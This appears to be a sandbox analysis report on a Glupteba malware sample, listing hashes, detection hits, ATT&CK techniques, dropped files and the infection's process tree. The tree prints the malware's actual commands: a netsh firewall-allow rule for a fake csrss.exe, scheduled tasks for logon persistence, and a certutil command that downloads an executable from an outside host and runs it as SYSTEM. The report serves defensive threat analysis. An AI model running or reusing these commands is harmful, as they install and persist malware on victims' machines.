glupteba | 2d7909db6a1d78f8db2c8d3b4338f484d4871d728cc8df14f9eb7482a97830c8

General

Target

df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
Size

3.8MB
MD5

df559463b0a2106b2d19876a6a486a5b
SHA1

7e9d48fe122fd85ec9289c2633edc1772599e9be
SHA256

2d7909db6a1d78f8db2c8d3b4338f484d4871d728cc8df14f9eb7482a97830c8
SHA512

554cb5dd59b29be82c1de960725bd1ff3bdbe53d51a35022cd4a386a07600795a5d5331b232baea7330bbd5c1799b4d002dcf2bb9e25c303ad537c2e33d7c3ae
SSDEEP

98304:ZmI5a+EcATjIrJfbIejv66nq4veakSTO4AmCqV8ly:8GrhAHWlIuyieHSTjzVky

Score

10^/10

glupteba discovery dropper evasion loader persistence privilege_escalation

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 19 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2532-2-0x0000000006D80000-0x000000000747C000-memory.dmp	family_glupteba
behavioral1/memory/2532-3-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba
behavioral1/memory/2532-6-0x0000000006D80000-0x000000000747C000-memory.dmp	family_glupteba
behavioral1/memory/2532-7-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba
behavioral1/memory/2532-4-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2768-17-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-37-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-55-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-56-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-68-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-69-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-70-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-80-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-81-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-82-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-83-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-84-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-85-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba
behavioral1/memory/2656-86-0x0000000000400000-0x000000000514C000-memory.dmp	family_glupteba

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exe

pid	Process
2672	netsh.exe

Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid	Process
2536	bcdedit.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

Processes:

df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exedf559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

Modifies data under HKEY_USERS 1 IoCs

Processes:

netsh.exe

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exe

pid	Process
2552	schtasks.exe
1244	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exedf559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

pid	Process
2532	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
2768	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

description	pid	Process
Token: SeDebugPrivilege	2532	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
Token: SeImpersonatePrivilege	2532	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.execmd.exe

description	pid	Process	procid_target
PID 2768 wrote to memory of 2648	2768	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe	35
PID 2768 wrote to memory of 2648	2768	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe	35
PID 2768 wrote to memory of 2648	2768	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe	35
PID 2768 wrote to memory of 2648	2768	df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe	35
PID 2648 wrote to memory of 2672	2648	cmd.exe	37
PID 2648 wrote to memory of 2672	2648	cmd.exe	37
PID 2648 wrote to memory of 2672	2648	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2532
- C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\df559463b0a2106b2d19876a6a486a5b_JaffaCakes118.exe"
  2⤵
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      Modifies data under HKEY_USERS
      PID:2672
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    PID:2656
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2552
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1244
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      PID:1712
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2536

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240914023559.log C:\Windows\Logs\CBS\CbsPersist_20240914023559.cab
1⤵
PID:2928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Impair Defenses

1

T1562

Disable or Modify System Firewall

1

T1562.004

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.8MB

MD5
df559463b0a2106b2d19876a6a486a5b

SHA1
7e9d48fe122fd85ec9289c2633edc1772599e9be

SHA256
2d7909db6a1d78f8db2c8d3b4338f484d4871d728cc8df14f9eb7482a97830c8

SHA512
554cb5dd59b29be82c1de960725bd1ff3bdbe53d51a35022cd4a386a07600795a5d5331b232baea7330bbd5c1799b4d002dcf2bb9e25c303ad537c2e33d7c3ae

Download Submit
memory/1712-39-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1712-24-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2532-4-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2532-3-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/2532-1-0x00000000069D0000-0x0000000006D79000-memory.dmp

Filesize
3.7MB

Download
memory/2532-0-0x00000000069D0000-0x0000000006D79000-memory.dmp

Filesize
3.7MB

Download
memory/2532-2-0x0000000006D80000-0x000000000747C000-memory.dmp

Filesize
7.0MB

Download
memory/2532-7-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/2532-5-0x00000000069D0000-0x0000000006D79000-memory.dmp

Filesize
3.7MB

Download
memory/2532-6-0x0000000006D80000-0x000000000747C000-memory.dmp

Filesize
7.0MB

Download
memory/2656-55-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-81-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-37-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-18-0x00000000069E0000-0x0000000006D89000-memory.dmp

Filesize
3.7MB

Download
memory/2656-56-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-68-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-69-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-86-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-70-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-80-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-85-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-82-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-83-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2656-84-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download
memory/2768-8-0x0000000006A00000-0x0000000006DA9000-memory.dmp

Filesize
3.7MB

Download
memory/2768-17-0x0000000000400000-0x000000000514C000-memory.dmp

Filesize
77.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads